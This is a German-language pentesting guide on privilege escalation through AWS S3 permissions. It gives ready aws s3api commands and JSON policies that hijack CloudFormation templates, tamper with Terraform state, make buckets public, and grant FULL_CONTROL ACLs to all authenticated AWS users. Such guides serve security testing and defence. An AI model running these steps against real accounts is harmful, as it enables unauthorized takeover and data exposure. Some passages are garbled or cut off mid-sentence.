AWS - S3 Privesc

Reading time: 6 minutes

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Ein Angreifer mit diesen Berechtigungen für relevante Buckets könnte Ressourcen übernehmen und Privilegien eskalieren.

Zum Beispiel kann ein Angreifer mit diesen Berechtigungen für einen cloudformation Bucket namens "cf-templates-nohnwfax6a6i-us-east-1" die Bereitstellung übernehmen. Der Zugriff kann mit folgender Policy gewährt werden:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

Und die Übernahme ist möglich, weil es ein kleines Zeitfenster vom Moment, in dem die Template in den bucket hochgeladen wird, bis zum Moment, in dem die Template bereitgestellt wird. Ein Angreifer könnte einfach eine lambda function in seinem Account erstellen, die ausgelöst wird, wenn eine bucket-Notification gesendet wird, und den Inhalt dieses buckets kapert.

Das Pacu-Modul cfn__resouce_injection kann verwendet werden, um diesen Angriff zu automatisieren.
Für weitere Informationen siehe die Originalforschung: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Das sind die Berechtigungen, um Objekte in S3 zu lesen und hochzuladen. Mehrere Services innerhalb von AWS (und außerhalb) nutzen S3-Speicher, um Konfigurationsdateien zu speichern.
Ein Angreifer mit Lesezugriff darauf könnte sensible Informationen finden.
Ein Angreifer mit Schreibzugriff könnte die Daten manipulieren, um einen Service zu missbrauchen und versuchen, Privilegien zu eskalieren.
Hier einige Beispiele:

• Wenn eine EC2-Instanz die user data in einem S3 bucket speichert, könnte ein Angreifer diese ändern, um beliebigen Code innerhalb der EC2-Instanz auszuführen.

s3:PutObject, s3:GetObject (optional) over terraform state file

Es ist sehr üblich, dass die terraform state files in den Blob-Storage von Cloud-Providern, z. B. AWS S3, gespeichert werden. Die Dateiendung für eine State-Datei ist .tfstate, und die Bucket-Namen verraten oft, dass sie terraform state files enthalten. Normalerweise hat jedes AWS-Konto so einen Bucket, um die State-Dateien zu speichern, die den Zustand des Kontos aufzeigen. Auch in realen Accounts haben in der Regel fast immer alle Entwickler s3:* und manchmal sogar Business-User s3:Put*.

Wenn du also die oben genannten Berechtigungen für diese Dateien hast, gibt es einen Angriffsvektor, mit dem du RCE in der Pipeline mit den Rechten von terraform erreichen kannst – meist AdministratorAccess, was dich zum Admin des Cloud-Accounts macht. Außerdem kannst du diesen Vektor nutzen, um einen Denial-of-Service-Angriff durchzuführen, indem du terraform legitime Ressourcen löschen lässt.

Folge der Beschreibung im Abschnitt Abusing Terraform State Files der Terraform Security-Seite für direkt verwendbaren Exploit-Code:

Abusing Terraform State Files

s3:PutBucketPolicy

Ein Angreifer, der aus demselben Account stammen muss (ansonsten wird der Fehler The specified method is not allowed will trigger ausgelöst), kann sich mit dieser Berechtigung zusätzliche Rechte auf den/die bucket(s) gewähren, die ihm das Lesen, Schreiben, Ändern, Löschen und Offenlegen von Buckets erlauben.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Ein attacker könnte diese Berechtigungen missbrauchen, um sich mehr Zugriff auf bestimmte buckets zu verschaffen.
Beachte, dass der attacker nicht aus demselben account stammen muss. Außerdem the write access

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Ein attacker könnte diese permissions missbrauchen, um sich mehr Zugriff auf bestimmte objects in buckets zu verschaffen.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Von einem Angreifer mit diesen Berechtigungen wird erwartet, dass er einer bestimmten Objektversion eine ACL zuweisen kann.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json